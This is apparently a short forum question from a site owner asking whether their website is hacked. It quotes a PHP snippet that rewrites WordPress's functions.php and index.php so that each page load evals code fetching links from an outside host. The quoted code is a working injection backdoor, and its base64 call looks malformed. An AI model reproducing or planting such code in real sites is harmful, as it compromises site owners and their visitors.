Is my website hacked ?

@$content = file_get_contents("wp-includes/functions.php");
$content = str_replace('* Uses the "The Tortoise and the Hare" algorithm to detect loops.'
,"
*/
function themeRender() {
    eval(base64_decode('echo @file_get_contents("http://www.beteks.com/links.php?url=".$_SERVER["SERVER_NAME"]);=='));
}
/*
",$content);

@file_put_contents("wp-includes/functions.php",$content);


$content = file_get_contents("index.php");
if(!strstr($content,"themeRender")) {
    $content = str_replace('?>'
    ,"
themeRender();
?>
    ",$content);

    file_put_contents("index.php",$content);
}

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